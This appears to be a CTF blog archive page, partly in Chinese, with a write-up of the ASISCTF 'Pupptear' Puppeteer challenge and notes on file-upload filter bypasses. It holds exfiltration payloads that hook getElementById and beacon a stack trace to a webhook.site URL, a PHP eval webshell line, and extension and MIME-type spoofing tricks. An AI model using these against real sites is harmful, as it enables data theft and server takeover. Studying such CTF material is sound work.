2023 on chleynx's blog

N1CTF Junoir

Wed, 07 Feb 2024 02:47:11 +0800

N1CTF Junior

zako

强网杯2023

Wed, 27 Dec 2023 00:26:21 +0800

Web

给了docker，代码逻辑

楚慧杯

Mon, 25 Dec 2023 00:31:42 +0800

楚慧杯

eaaeval

打开题目，源码给了用户密码

ASISCTF

Mon, 25 Dec 2023 00:22:51 +0800

Pupptear:

***报错追踪文件名字

Do you know what Puppeteer's friends call him when he cries? Pupptear... hahahaah

[attachment](<https://asisctf.com/tasks/pupptear_0ab53ea3b73da58a4d0854bf42ec1ea166283b3e.txz>)

nc 18.195.96.13 2000

Flag format for Pupptear: ^ASIS{[^{}]+}$

pupptear.txz

oh ok

I get the concept.

url = input('input URL (b64ed): ')
if(not re.match('^[A-Za-z0-9=+/]+$',url)):
	print('bad URL')
	exit(1)

os.close(0)
os.close(1)
os.close(2)

containerName = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(0x10))
os.system(f'bash -c "sleep 5 && docker kill {containerName} 2>/dev/null" &')
os.system(f'docker run --name {containerName} pupptear bash -c \\'/ASIS*/index.js {url}\\' ')
#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = 'flag{test-flag}';

async function visit(url){
	let browser;

	if(!/^https?:\\/\\//.test(url)){
		return;
	}

	try{
		browser = await puppeteer.launch({
		 pipe: true,
		 args: [
		 "--no-sandbox",
		 "--disable-setuid-sandbox",
		 "--js-flags=--noexpose_wasm,--jitless",
		 "--ignore-certificate-errors",
		 ],
		 executablePath: "/usr/bin/google-chrome-stable",
		 headless: 'new'
		});

		let page = await browser.newPage();
		await page.goto(url,{ timeout: 2000 });
		await page.waitForFunction(flag=>{
			let el = document.getElementById('flag')
			if(!el) return false
			el.value = flag
			return true
		},{ timeout: 2000 },flag)
		await new Promise(r=>setTimeout(r,3000));
	}catch(e){}
	try{await browser.close();}catch(e){}
	process.exit(0)
}

get folder name? have no idea.

need to check if we can get flag during page move delay

fake flag. need to get folder name. i guess stacktrace from waitforfunction?

WORKDIR /app
COPY ./stuff/ /app/
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm ci
RUN chmod +x /app/index.js
RUN useradd -m www
RUN chmod 777 /home/www/ -R
ENV FLAG=ASIS{test-flag}
RUN mv /app/ /$FLAG/
WORKDIR /
USER www

I guess yes.

One way is to hook Error and find filename, but I have to install puppeteer for testing. I don’t know how things work internally for puppeteer😕

If no one solves it I will try out sometime tomorrow.

i dont know either. ppt is heavily coupled with chrome devtools, i guess the function execution is a part of devtools protocol.

hook getElementById, read stacktrace.

solved:

<!DOCTYPE html>
<body>
 <input type="text" id="flag" />
 <script>
 const oldFunc = document.getElementById
 document.getElementById = function(id) {
 const e = new Error();
 const stack = e.stack.split('\\n');
 fetch(`${document.location.href}`, {
 method: 'POST',
 headers: {
 'Content-Type': 'application/json'
 },
 body: JSON.stringify({
 id,
 stack
 })
 })
 return oldFunc.apply(document, arguments)
 }
 </script>
</body>

<!DOCTYPE html>
<body>
<script>
const HOOK_URL = "https://webhook.site/ae22bc03-bb75-4080-9702-36cbb57cc53d";

let sent = false;
function hook() {
 if (sent) return;
 sent = true;

 const e = new Error();
 navigator.sendBeacon(HOOK_URL, e.stack);
}
document.getElementById = hook;
</script>
</body>

文件上传

Tue, 10 Oct 2023 18:38:57 +0800

前端绕过

正常上传文件,捉取数据包修改（bp抓包改后缀）

后端绕过

服务器端检测的绕过

函数特性

move_uploaded_file函数会自动去除文件名末尾的点和 /.

fopen函数特性

<?php
$filename='1.php/.';
$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');
 fwrite($f, $content);
 fclose($f); 
?> 
#会在当前目录生成1.php,文件名为1.php.也可以
————————————————

其它

后缀名大小写

后缀名双写

尝试php3 phtml php3457(linux+apache+php5.6)等后缀

检测MIME类型的,捉包改MIME类型

服务端检测（MINE类型检测） #

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。

服务器代码判断$_FILES[”file“][“type”]是不是图片格式（image/jpeg、image/png、image/gif），如果不是，则不允许上传该文件。

绕过方法：

抓包后更改Content-Type为允许的类型绕过该代码限制，比如将php文件的Content-Type:application/octet-stream修改为image/jpeg、image/png、image/gif等就可以

常见MIMETYPE

audio/mpeg -> .mp3 application/msword -> .doc application/octet-stream -> .exe application/pdf -> .pdf application/x-javascript -> .js application/x-rar -> .rar application/zip -> .zip image/gif -> .gif image/jpeg -> .jpg / .jpeg image/png -> .png text/plain -> .txt text/html -> .html video/mp4 -> .mp4